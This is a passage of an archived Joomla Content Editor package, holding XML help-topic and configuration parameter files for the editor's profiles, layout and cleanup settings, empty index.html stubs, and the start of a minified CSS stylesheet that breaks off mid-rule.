G��7�+k��IEND�B`�editor/libraries/xml/help/index.html000060400000000054150750527150013535 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/xml/help/editor.xml000060400000004106150750527150013552 0ustar00<?xml version="1.0"?>
<editor>
	<help>
		<topic key="editor.about" title="WF_EDITOR_HELP_ABOUT">
			<subtopic key="editor.toolbar" title="WF_EDITOR_HELP_TOOLBAR" />
			<subtopic key="editor.content" title="WF_EDITOR_HELP_CONTENT" />
			<subtopic key="editor.path" title="WF_EDITOR_HELP_PATH" />
		</topic>
		<topic title="WF_EDITOR_HELP_BASICS">
			<subtopic key="editor.selection" title="WF_EDITOR_HELP_SELECTION" />
			<subtopic key="editor.format" title="WF_EDITOR_HELP_FORMAT">
				<subtopic key="editor.format.bold" title="WF_EDITOR_HELP_FORMAT_BOLD" />
				<subtopic key="editor.format.align" title="WF_EDITOR_HELP_FORMAT_ALIGN" />
				<subtopic key="editor.format.blocks" title="WF_EDITOR_HELP_FORMAT_BLOCKS" />
				<subtopic key="editor.format.sub" title="WF_EDITOR_HELP_FORMAT_SUB" />
				<subtopic key="editor.format.font" title="WF_EDITOR_HELP_FORMAT_FONT" />
				<subtopic key="editor.format.indent" title="WF_EDITOR_HELP_FORMAT_INDENT" />
				<subtopic key="editor.format.attributes" title="WF_EDITOR_HELP_FORMAT_ATTRIBUTES" />
			</subtopic>
			<subtopic key="editor.lists" title="WF_EDITOR_HELP_LISTS" />		
			<subtopic key="editor.readmore" title="WF_EDITOR_HELP_READMORE" />
			<subtopic key="link.insert" title="WF_EDITOR_HELP_LINKS" />
			<subtopic key="imgmanager.insert" title="WF_EDITOR_HELP_IMAGES" />
			<subtopic key="paste.about" title="WF_EDITOR_HELP_PASTE" />
			<subtopic key="tables.edit" title="WF_EDITOR_HELP_TABLES" />
			<subtopic key="editor.spellchecker" title="WF_EDITOR_HELP_SPELLCHECKER" />
		</topic>
		<topic key="editor.buttons" title="WF_EDITOR_HELP_BUTTONS">
			<subtopic file="tiny_mce/plugins/advlink/advlink.xml" title="WF_ADVLINK_TITLE" />
			<subtopic file="tiny_mce/plugins/imgmanager/imgmanager.xml" title="WF_IMGMANAGER_TITLE" />
			<subtopic file="tiny_mce/plugins/paste/paste.xml" title="WF_PASTE_TITLE" />
			<subtopic file="tiny_mce/plugins/table/table.xml" title="WF_TABLES_TITLE" />
		</topic>
		<topic key="editor.acknowledgements" title="WF_EDITOR_HELP_ACKNOWLEDGEMENTS" />
		<topic key="editor.licence" title="WF_EDITOR_HELP_LICENCE" />
	</help>
</editor>

editor/libraries/xml/help/manager.xml000060400000000505150750527150013675 0ustar00<?xml version="1.0"?>
<manager>
	<help>
		<topic key="manager.upload" title="WF_MANAGER_HELP_UPLOAD" />
		<topic key="manager.delete" title="WF_MANAGER_HELP_DELETE" />
		<topic key="manager.rename" title="WF_MANAGER_HELP_RENAME" />
		<topic key="manager.create" title="WF_MANAGER_HELP_CREATE" />
	</help>
</manager>
editor/libraries/xml/config/profiles.xml000060400000020402150750527150014421 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
    <params group="setup">
        <!-- URLS -->
        <param name="relative_urls" type="radio" default="1" label="WF_PARAM_RELATIVE" description="WF_PARAM_RELATIVE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="verify_html" type="list" default="" label="WF_PARAM_CLEANUP" description="WF_PARAM_EDITOR_PROFILE_CLEANUP_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="0">WF_OPTION_NO</option>
            <option value="1">WF_OPTION_YES</option>
        </param>
        <param name="schema" type="list" default="" label="WF_PARAM_DOCTYPE" description="WF_PARAM_EDITOR_PROFILE_DOCTYPE_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
            <option value="html4">HTML4</option>
            <option value="html5">HTML5</option>
        </param>
    </params>
    <params group="typography">
        <param name="forced_root_block" type="list" default="" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_EDITOR_PROFILE_ROOT_BLOCK_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="p">WF_OPTION_PARAGRAPH</option>
            <option value="div">WF_OPTION_DIV</option>
            <option value="forced_root_block:0|force_p_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
            <option value="0">WF_OPTION_LINEBREAK</option>
        </param>
        <param name="profile_content_css" type="list" default="2" label="WF_PARAM_EDITOR_PROFILE_CSS" description="WF_PARAM_EDITOR_PROFILE_CSS_DESC">
            <option value="0">WF_PARAM_CSS_ADD</option>
            <option value="1">WF_PARAM_CSS_OVERWRITE</option>
            <option value="2">WF_PARAM_CSS_INHERIT</option>
        </param>
        <param name="profile_content_css_custom" placeholder="eg: templates/$template/css/content.css" type="textarea" rows="2" cols="55" default="" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" parent="profile_content_css[0,1]" />
        <param name="custom_colors" type="textarea" rows="3" cols="50" default="" label="WF_PARAM_CUSTOM_COLORS" description="WF_PARAM_CUSTOM_COLORS_DESC" placeholder="eg: #CC0000,#FF0000" />
    </params>
    <params group="filesystem">
		<!-- Plugin parameters -->
        <param name="dir" type="text" default="" pattern="[a-zA-Z0-9_\-\.\/\$]*" size="50" placeholder="images" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
        <param name="dir_filter" type="text" repeatable="1" default="" size="50" label="WF_PARAM_DIRECTORY_FILTER" description="WF_PARAM_DIRECTORY_FILTER_DESC"/>

        <param name="name" type="filesystem" group="filesystem" exclude_default="true" default="joomla" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC" />
        <param name="max_size" class="upload_size" pattern="[0-9]*" placeholder="1024" max="" type="text" default="" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" />
        <param name="upload_conflict" type="list" default="overwrite" label="WF_PARAM_UPLOAD_EXISTS" description="WF_PARAM_UPLOAD_EXISTS_DESC">
            <option value="unique">WF_PARAM_UPLOAD_EXISTS_UNIQUE</option>
            <option value="overwrite">WF_PARAM_UPLOAD_EXISTS_OVERWRITE</option>
        </param>
        <param name="upload_suffix" placeholder="_copy" max="" type="text" default="" label="WF_PARAM_UPLOAD_SUFFIX" description="WF_PARAM_UPLOAD_SUFFIX_DESC" parent="upload_conflict[unique]" />
        
        <param name="browser_position" type="list" default="bottom" label="WF_PARAM_BROWSER_POSITION" description="WF_PARAM_BROWSER_POSITION_DESC">
            <option value="top">WF_LABEL_TOP</option>
            <option value="bottom">WF_LABEL_BOTTOM</option>
        </param>
        <param name="folder_tree" type="radio" default="1" label="WF_PARAM_FOLDER_TREE" description="WF_PARAM_FOLDER_TREE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="list_limit" type="list" default="all" label="WF_PARAM_LIST_LIMIT" description="WF_PARAM_LIST_LIMIT_DESC">
            <option value="10">10</option>
            <option value="25">25</option>
            <option value="50">50</option>
            <option value="100">100</option>
            <option value="all">WF_OPTION_ALL</option>
        </param>
        <param name="validate_mimetype" type="radio" default="1" label="WF_PARAM_VALIDATE_MIMETYPE" description="WF_PARAM_VALIDATE_MIMETYPE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="websafe_mode" type="list" default="utf-8" label="WF_PARAM_WEBSAFE_MODE" description="WF_PARAM_WEBSAFE_MODE_DESC">
            <option value="utf-8">UTF-8</option>
            <option value="ascii">ASCII</option>
        </param>
        <param name="websafe_allow_spaces" type="list" default="_" label="WF_PARAM_WEBSAFE_ALLOW_SPACES" description="WF_PARAM_WEBSAFE_ALLOW_SPACES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="_">WF_OPTION_WEBSAFE_ALLOW_SPACES_UNDERSCORE</option>
            <option value="-">WF_OPTION_WEBSAFE_ALLOW_SPACES_DASH</option>
            <option value=".">WF_OPTION_WEBSAFE_ALLOW_SPACES_PERIOD</option>
        </param>
        <param name="websafe_textcase" type="list" class="checklist" multiple="multiple" default="uppercase,lowercase" label="WF_PARAM_WEBSAFE_TEXTCASE" description="WF_PARAM_WEBSAFE_TEXTCASE_DESC">
            <option value="uppercase">WF_OPTION_UPPERCASE</option>
            <option value="lowercase">WF_OPTION_LOWERCASE</option>
        </param>
        <param name="upload_add_random" type="radio" default="0" label="WF_PARAM_UPLOAD_ADD_RANDOM" description="WF_PARAM_UPLOAD_ADD_RANDOM_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="date_format" type="text" default="" placeholder="eg: %d/%m/%Y, %H:%M" label="WF_PARAM_DATE_FORMAT" description="WF_PARAM_DATE_FORMAT_DESC" />
        <param name="total_files" type="text" pattern="[0-9]*" default="" label="WF_PARAM_TOTAL_FILES_LIMIT" description="WF_PARAM_TOTAL_FILES_LIMIT_DESC" />
        <param name="total_size" type="text" pattern="[0-9]*" default="" label="WF_PARAM_TOTAL_FILES_SIZE_LIMIT" description="WF_PARAM_TOTAL_FILES_SIZE_LIMIT_DESC" />

        <param file="components/com_jce/editor/libraries/pro/xml/image.xml" />

    </params>

    <params group="advanced">
	<!-- Elements -->
        <param name="invalid_elements" type="text" size="50" default="" label="WF_PARAM_NO_ELEMENTS" description="WF_PARAM_NO_ELEMENTS_DESC" />
        <param name="invalid_attributes" type="text" size="50" default="dynsrc,lowsrc" label="WF_PARAM_INVALID_ATTRIBUTES" description="WF_PARAM_INVALID_ATTRIBUTES_DESC" />
        <param name="invalid_attribute_values" type="text" size="50" default="" label="WF_PARAM_INVALID_ATTRIBUTE_VALUES" description="WF_PARAM_INVALID_ATTRIBUTE_VALUES_DESC" />
        <param name="extended_elements" type="textarea" rows="2" cols="46" default="" label="WF_PARAM_ELEMENTS" description="WF_PARAM_ELEMENTS_DESC" />
        <param name="allow_javascript" type="radio" default="0" label="WF_PARAM_JAVASCRIPT" description="WF_PARAM_JAVASCRIPT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="allow_css" type="radio" default="0" label="WF_PARAM_CSS" description="WF_PARAM_CSS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="allow_php" type="radio" default="0" label="WF_PARAM_PHP" description="WF_PARAM_PHP_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <!--param name="protect_shortcode" type="radio" default="0" label="WF_PARAM_PROTECT_SHORTCODE" description="WF_PARAM_PROTECT_SHORTCODE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->

    </params>
</config>
editor/libraries/xml/config/index.html000060400000000054150750527150014052 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/xml/config/editor.xml000060400000010540150750527150014066 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<params group="cleanup">
		<param name="verify_html" type="radio" default="1" label="WF_PARAM_CLEANUP" description="WF_PARAM_CLEANUP_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="schema" type="list" default="mixed" label="WF_PARAM_DOCTYPE" description="WF_PARAM_DOCTYPE_DESC">
			<option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
			<option value="html4">HTML4</option>
			<option value="html5">HTML5</option>
		</param>
		<param name="entity_encoding" type="list" default="raw" label="WF_PARAM_ENTITY_ENCODING" description="WF_PARAM_ENTITY_ENCODING_DESC">
			<option value="raw">UTF-8</option>
			<option value="named">WF_PARAM_NAMED</option>
			<option value="numeric">WF_PARAM_NUMERIC</option>
		</param>
		<param name="keep_nbsp" type="radio" default="1" label="WF_PARAM_KEEP_NBSP" description="WF_PARAM_KEEP_NBSP_DESC" parent="entity_encoding[raw]">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="pad_empty_tags" type="radio" default="1" label="WF_PARAM_PAD_EMPTY_TAGS" description="WF_PARAM_PAD_EMPTY_TAGS_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="cleanup_pluginmode" type="radio" default="0" label="WF_PARAM_PLUGIN_MODE" description="WF_PARAM_PLUGIN_MODE_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
	</params>
	<params group="format">
		<param name="forced_root_block" type="list" default="p" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_ROOT_BLOCK_DESC">
			<option value="p">WF_OPTION_PARAGRAPH</option>
			<option value="div">WF_OPTION_DIV</option>
			<option value="forced_root_block:0|force_p_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
			<option value="0">WF_OPTION_LINEBREAK</option>
		</param>
		<!--param name="newlines" type="list" default="0" label="WF_PARAM_NEWLINES" description="WF_PARAM_NEWLINES_DESC"><option value="1">WF_PARAM_LINEBREAKS</option><option value="0">WF_PARAM_PARAGRAPHS</option></param-->
		<param name="content_style_reset" type="radio" default="0" label="WF_PARAM_EDITOR_STYLE_RESET" description="WF_PARAM_EDITOR_STYLE_RESET_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="content_css" type="list" default="1" label="WF_PARAM_EDITOR_GLOBAL_CSS" description="WF_PARAM_EDITOR_GLOBAL_CSS_DESC">
			<option value="0">WF_PARAM_CSS_CUSTOM</option>
			<option value="1">WF_PARAM_CSS_TEMPLATE</option>
			<option value="2">WF_OPTION_DEFAULT</option>
		</param>
		<param name="content_css_custom" type="textarea" rows="2" cols="50" default="" spellcheck="false" placeholder="eg: templates/$template/css/content.css" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" parent="content_css[0]" />
		<param name="body_class" type="text" default="" placeholder="eg: content" label="WF_PARAM_EDITOR_BODY_CLASS" description="WF_PARAM_EDITOR_BODY_CLASS_DESC" />
	</params>
	<params group="compression">
		<param name="compress_javascript" type="radio" default="0" label="WF_PARAM_COMPRESS_JAVASCRIPT" description="WF_PARAM_COMPRESS_JAVASCRIPT_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="compress_css" type="radio" default="0" label="WF_PARAM_COMPRESS_CSS" description="WF_PARAM_COMPRESS_CSS_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="compress_gzip" type="radio" default="0" label="WF_PARAM_COMPRESS_GZIP" description="WF_PARAM_COMPRESS_GZIP_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
	</params>
	<params group="advanced">
		<param name="custom_config" type="textarea" rows="5" cols="50" default="" spellcheck="false" label="WF_PARAM_CUSTOM_CONFIG" description="WF_PARAM_CUSTOM_CONFIG_DESC" />
		<param name="callback_file" type="text" default="" size="50" label="WF_PARAM_CALLBACK" description="WF_PARAM_CALLBACK_DESC" />
	</params>
	<!--params group="other"><param name="help_url" type="text" size="80" default="http://www.joomlacontenteditor.net/index.php?option=com_content&amp;view=article" label="WF_PARAM_HELP_URL" description="WF_PARAM_HELP_URL_DESC" /></params-->
</config>editor/libraries/xml/config/layout.xml000060400000010761150750527150014122 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
    <params group="layout">
        <param name="width" type="text" size="5" default="" pattern="([0-9]+)(%|px)?" placeholder="auto" label="WF_PARAM_EDITOR_WIDTH" description="WF_PARAM_EDITOR_WIDTH_DESC" />
        <param name="height" type="text" size="5" default="" pattern="([0-9]+)(%|px)?" placeholder="auto" label="WF_PARAM_EDITOR_HEIGHT" description="WF_PARAM_EDITOR_HEIGHT_DESC" />
		<!--param name="theme_advanced_toolbar_location" type="list" default="top" label="WF_PARAM_TOOLBAR_LOCATION" description="WF_PARAM_TOOLBAR_LOCATION_DESC">
			<option value="top">JWF_OPTION_TOP</option>
			<option value="bottom">WF_OPTION_BOTTOM</option>
			<option value="external">WF_OPTION_EXTERNAL</option>
		</param-->
        <param name="toolbar_theme" type="list" default="default" label="WF_PARAM_EDITOR_TOOLBAR_THEME" description="WF_PARAM_EDITOR_TOOLBAR_THEME_DESC">
            <option value="default">WF_LABEL_DEFAULT</option>
            <option value="o2k7">WF_PARAM_EDITOR_SKIN_OFFICE_BLUE</option>
            <option value="o2k7.silver">WF_PARAM_EDITOR_SKIN_OFFICE_SILVER</option>
            <option value="o2k7.black">WF_PARAM_EDITOR_SKIN_OFFICE_BLACK</option>
            <option value="mobile">WF_PARAM_EDITOR_SKIN_MOBILE</option>
        </param>
        <param name="toolbar_align" type="list" default="left" label="WF_PARAM_EDITOR_TOOLBAR_ALIGN" description="WF_PARAM_EDITOR_TOOLBAR_ALIGN_DESC">
            <option value="left">WF_OPTION_LEFT</option>
            <option value="center">WF_OPTION_CENTER</option>
            <option value="right">WF_OPTION_RIGHT</option>
        </param>
        <param name="toolbar_location" type="list" default="top" label="WF_PARAM_EDITOR_TOOLBAR_LOCATION" description="WF_PARAM_EDITOR_TOOLBAR_LOCATION_DESC">
            <option value="top">WF_OPTION_TOP</option>
            <option value="bottom">WF_OPTION_BOTTOM</option>
        </param>
        <param name="statusbar_location" type="list" default="bottom" label="WF_PARAM_EDITOR_STATUSBAR_LOCATION" description="WF_PARAM_EDITOR_STATUSBAR_LOCATION_DESC">
            <option value="top">WF_OPTION_TOP</option>
            <option value="bottom">WF_OPTION_BOTTOM</option>
            <option value="none">WF_OPTION_NONE</option>
        </param>
        <param name="path" type="radio" default="1" label="WF_PARAM_EDITOR_PATH" description="WF_PARAM_EDITOR_PATH_DESC" parent="statusbar_location[top,bottom]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resizing" type="list" default="1" label="WF_PARAM_EDITOR_RESIZING" description="WF_PARAM_EDITOR_RESIZING_DESC" parent="statusbar_location[top,bottom]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resize_horizontal" type="radio" default="1" label="WF_PARAM_EDITOR_RESIZE_HORIZONTAL" description="WF_PARAM_EDITOR_RESIZE_HORIZONTAL_DESC" parent="resizing[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resizing_use_cookie" type="radio" default="1" label="WF_PARAM_EDITOR_RESIZE_COOKIE" description="WF_PARAM_EDITOR_RESIZE_COOKIE_DESC" parent="resizing[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="toggle" type="list" default="1" label="WF_PARAM_EDITOR_TOGGLE" description="WF_PARAM_EDITOR_TOGGLE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="toggle_state" type="radio" default="1" label="WF_PARAM_EDITOR_STATE" description="WF_PARAM_EDITOR_STATE_DESC" parent="toggle[1]">
            <option value="1">WF_OPTION_ON</option>
            <option value="0">WF_OPTION_OFF</option>
        </param>
        <param name="toggle_label" type="text" default="" label="WF_PARAM_EDITOR_TOGGLE_LABEL" description="WF_PARAM_EDITOR_TOGGLE_LABEL_DESC" parent="toggle[1]" />
        <param name="active_tab" type="list" default="wysiwyg" label="WF_PARAM_EDITOR_ACTIVE_TAB" description="WF_PARAM_EDITOR_ACTIVE_TAB_DESC">
            <option value="wysiwyg">WF_PARAM_EDITOR_ACTIVE_TAB_WYSIWYG</option>
            <option value="source">WF_PARAM_EDITOR_ACTIVE_TAB_CODE</option>
            <option value="preview">WF_PARAM_EDITOR_ACTIVE_TAB_PREVIEW</option>
        </param>
    </params>
</config>
editor/libraries/xml/config/popups.xml000060400000000356150750527150014132 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
    <params group="popups">
        <param type="popups" name="default" label="WF_EXTENSIONS_POPUPS_DEFAULT_LABEL" description="WF_EXTENSIONS_POPUPS_DEFAULT_DESC" />
    </params>
</config>
editor/libraries/xml/index.html000060400000000054150750527150012605 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/css/plugin.min.css000060400000061663150750527150013407 0ustar00@import url(../uikit/uikit.min.css);@import url(../jquery/css/jquery-ui.min.css);.uk-button,.uk-button-danger,.uk-button-primary,.uk-button-success,.uk-progress-bar{box-shadow:inherit;text-shadow:inherit}.uk-form input[type=checkbox],.uk-form input[type=radio],.uk-stack,.wordWrapCode,label{vertical-align:middle}@font-face{font-family:FontAwesome;src:url(../fonts/fontawesome-webfont.eot?#iefix) format('embedded-opentype');src:url(../fonts/fontawesome-webfont.woff) format('woff');font-weight:400;font-style:normal}label{line-height:28px;display:inline-block}.uk-form-horizontal .uk-form-label{font-weight:inherit}.preview h4,.uk-tree-active>.uk-tree-row .uk-tree-text,dl.alert dt{font-weight:700}.uk-form{height:100%;position:relative}.uk-grid-small>div{padding-left:10px}.uk-grid-mini{margin-left:-10px}.uk-grid-mini>*,.uk-grid-mini>div{padding-left:5px}[class*=uk-icon-]{font-size:14px}.uk-icon-medium{font-size:2em}.uk-icon-large{font-size:2.5em}.uk-icon-small{font-size:1.5em}.uk-close{font-size:14px;width:2em;height:2em}.uk-placeholder-small{padding:5px}.uk-button.uk-active,.uk-button:active{background-color:#ddd}.uk-navbar .uk-button{border-radius:0}.uk-modal-footer .uk-button:not(.uk-button-primary):not(.uk-button-danger):not(.uk-button-success){background-color:#fff;border-color:#ddd}.uk-modal{padding:10px}.uk-modal-dialog{padding:10px;margin:0 auto;top:50%;max-height:100%}.uk-modal-confirm,.uk-modal-prompt{width:350px}.uk-modal-preview{min-height:120px;min-width:480px}.uk-modal-preview .uk-modal-body{width:100%;height:100%;margin:auto;overflow:hidden}.uk-modal-preview .uk-modal-body .iframe-preview,.uk-modal-preview .uk-modal-body .media-preview{padding-bottom:56.25%;padding-top:25px;width:100%;height:0;position:relative}.uk-modal-preview .uk-modal-body .media-preview-audio{padding-bottom:50px}.uk-modal-preview .uk-modal-body embed,.uk-modal-preview .uk-modal-body iframe,.uk-modal-preview .uk-modal-body object,.uk-modal-preview .uk-modal-body video{border:0;position:absolute;top:0;left:0;width:100%;height:100%}.uk-modal-preview .uk-modal-body .image-preview{text-align:center;width:100%;height:auto;margin:auto}.uk-modal-preview .uk-modal-body audio,.uk-modal-preview .uk-modal-body img{text-align:center;width:100%;height:auto}.uk-modal-dialog>.uk-close:first-child{margin:0;position:absolute;right:5px;top:5px}.uk-modal-header{padding:10px;margin:-10px -10px 10px;background:#ddd;border-bottom:1px solid #ccc}.uk-modal-body{padding:30px 0 20px}.uk-modal-header+.uk-modal-body{padding:10px 0}.uk-modal-dialog .uk-modal-close{opacity:1}.uk-modal-dialog .uk-modal-close:hover{opacity:.8}.uk-modal-header h3{font-weight:700;font-size:14px}.uk-modal-footer{padding:10px;margin:10px -10px -10px;border-top:1px solid #ddd;border-radius:0 0 2px 2px;background:#fafafa}.uk-modal-alert .uk-modal-dialog,.uk-modal-confirm .uk-modal-dialog,.uk-modal-prompt .uk-modal-dialog{width:360px}.uk-accordion-title{margin-bottom:5px}.uk-accordion-content{padding:0 5px}.uk-form input[type=text],.uk-form select,.uk-form textarea{padding:2px}.uk-form input[type=checkbox]{margin:2px 4px 0 0}.uk-form legend{padding-bottom:5px;font-size:14px}.uk-switcher{overflow:auto}body,html{overflow:hidden}.uk-switcher>*{display:none}.uk-switcher>.uk-active{display:block}.uk-form-horizontal .uk-form-label{margin:0;line-height:28px;display:inline-block}.uk-comment-header{border:0;border-radius:0;background:0 0;margin:0;padding:0 0 10px}.uk-comment-meta{color:#444;font-size:12px;margin:0;line-height:16px}.uk-form-horizontal .uk-form-controls input[type=text],.uk-form-horizontal .uk-form-controls input[type=number],.uk-form-horizontal .uk-form-controls select,.uk-form-horizontal .uk-form-controls textarea{width:100%}.uk-form-horizontal .uk-form-controls input[type=text],.uk-form-horizontal .uk-form-controls input[type=number]{line-height:22px}.uk-form-horizontal .uk-form-controls input[type=range]{height:28px}.uk-form-horizontal .uk-form-controls-text{padding-top:0}.uk-form-row+.uk-form-row,.uk-form-row+.uk-grid,.uk-grid+.uk-form-row,.uk-grid+.uk-grid{margin-top:.5em}.uk-form-icon-both>input{padding:0 2em!important}.uk-form-icon>[class*=uk-icon-]{width:2em;font-size:14px}.uk-form-icon-both>[class*=uk-icon-]:last-child,.uk-form-icon-flip>[class*=uk-icon-]{display:block;cursor:pointer;pointer-events:inherit;right:0;padding:0;margin-top:0;width:2em;height:2em;top:.5em}.uk-form-icon-both>[class*=uk-icon-]:first-child{left:inherit;right:inherit}.uk-form-icon-flip .uk-icon+.uk-icon{right:30px}.uk-form-icon-flip .uk-icon+.uk-icon+.uk-icon{right:60px}.uk-form-icon-flip>input{padding-right:26px!important}.uk-form-icon-both>[class*=uk-icon-colorpicker]:last-child,.uk-form-icon-flip>[class*=uk-icon-colorpicker]{background-color:#fff;width:1.5em;height:1.5em;top:.24em;border-radius:2px;margin-right:3px;border:1px solid #ddd}.uk-dropdown{z-index:1010}.uk-pagination>li>a,.uk-pagination>li>span{min-width:1em}.uk-invisible{visibility:hidden!important}input[type=range]{-webkit-appearance:none;max-width:100%;border-radius:0;border:0;margin:0;padding:0}input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;background-color:#ecf0f1;border:1px solid #bdc3c7;width:10px;height:10px;border-radius:0;cursor:pointer;margin-top:-1px}input[type=range]::-webkit-slider-runnable-track{-webkit-appearance:none;border-radius:0;height:10px;border:1px solid #bdc3c7;background-color:#fff}input[type=range]::-moz-range-track{border-radius:0;height:10px;border:1px solid #bdc3c7;background-color:#fff}input[type=range]::-moz-range-thumb{background:#ecf0f1;border:1px solid #bdc3c7;width:10px;height:10px;border-radius:0;cursor:pointer}input[type=range]::-ms-fill-lower,input[type=range]::-ms-fill-upper{background:0 0}input[type=range]::-ms-track{border-radius:0;height:10px;border:1px solid #bdc3c7;background-color:#fff;color:transparent}input[type=range]::-ms-thumb{background-color:#ecf0f1;border:1px solid #bdc3c7;width:10px;height:10px;border-radius:0;cursor:pointer;margin:0}.uk-grid>.uk-width-1-4{padding-left:10px}.uk-width-0-10,.uk-width-0-2,.uk-width-0-3,.uk-width-0-4,.uk-width-0-5,.uk-width-0-6{width:auto}@media (min-width:960px){.uk-form-horizontal .uk-width-1-10{width:10%}.uk-form-horizontal .uk-width-1-5,.uk-form-horizontal .uk-width-2-10{width:20%}.uk-form-horizontal .uk-form-controls{margin-left:inherit}}@media (max-width:375px){.uk-form-row [class*=uk-width]{width:100%!important}}@media (min-width:375px){.uk-form-horizontal .uk-form-controls,.uk-form-horizontal .uk-form-label,.uk-form-row [class*=uk-width]{float:left}}@media (max-width:375px){.uk-hidden-mini{display:none}}.uk-checkbox,.uk-datalist,.uk-stack{display:inline-block}@media (max-width:375px){.uk-width-mini-1-1{width:100%}.uk-width-mini-1-2,.uk-width-mini-2-4,.uk-width-mini-3-6,.uk-width-mini-5-10{width:50%}.uk-width-mini-1-3,.uk-width-mini-2-6{width:33.333%}.uk-width-mini-2-3,.uk-width-mini-4-6{width:66.666%}.uk-width-mini-1-4{width:25%}.uk-width-mini-3-4{width:75%}.uk-width-mini-1-5,.uk-width-mini-2-10{width:20%}.uk-width-mini-2-5,.uk-width-mini-4-10{width:40%}.uk-width-mini-3-5,.uk-width-mini-6-10{width:60%}.uk-width-mini-4-5,.uk-width-mini-8-10{width:80%}.uk-width-mini-1-6{width:16.666%}.uk-width-mini-5-6{width:83.333%}.uk-width-mini-1-10{width:10%}.uk-width-mini-3-10{width:30%}.uk-width-mini-7-10{width:70%}.uk-width-mini-9-10{width:90%}}.uk-icon-none{font-family:inherit}.uk-icon-thumb-create:before{content:"\f03e"}.ie8 .uk-icon-clock-o:before,.uk-icon-spinner:before{content:""}.uk-checkbox{border-radius:3px;border:1px solid #ddd;width:16px;height:16px;font-size:14px;box-sizing:border-box;background-color:#f1f1f1;position:relative;margin:0}.uk-checkbox input[type=checkbox]{width:100%;height:100%;margin:0;position:absolute;left:0;top:0;opacity:0}.uk-progress-bar{line-height:20px;font-size:inherit}.uk-icon-spinner:before{background:url(../img/load.gif) center no-repeat;width:20px;display:inline-block;height:20px}.wf-colorpicker,body{background-color:#fff;box-sizing:border-box}.uk-stack{position:relative;width:1em;height:1em;line-height:1em}.uk-stack .uk-icon{position:absolute;left:0;width:100%;text-align:center}.uk-inline-help .uk-modal-dialog{height:100%;top:0}.uk-inline-help .uk-modal-dialog iframe{width:100%;height:93%;height:calc(100% - 41px)}.uk-margin-left-remove{margin-left:0!important}.uk-margin-right-remove{margin-right:0!important}.uk-datalist{position:relative}.uk-form-horizontal .uk-datalist input[type=text]{z-index:1;position:relative;width:92.5%;width:calc(100% - 16px);border-top-right-radius:0;border-bottom-right-radius:0}.ie .uk-form-horizontal .uk-datalist input[type=text]{width:calc(100% - 24px)}.uk-datalist input:focus+select{border:1px solid #66afe9}.uk-datalist select:focus~input{border-color:#66afe9}:root .uk-form-horizontal .uk-datalist input[type=text]{border-right-width:0}.uk-form-horizontal .uk-datalist select{z-index:0;position:absolute;left:0}.uk-form-horizontal .uk-grid-small .uk-datalist select{left:10px;width:95%;width:calc(100% - 10px)}.uk-form-icon input.color{padding-left:24px!important}.uk-form-icon input.color:disabled~span{opacity:.5}.uk-icon-colorpicker{height:22px}.uk-repeatable .uk-repeatable-create,.uk-repeatable 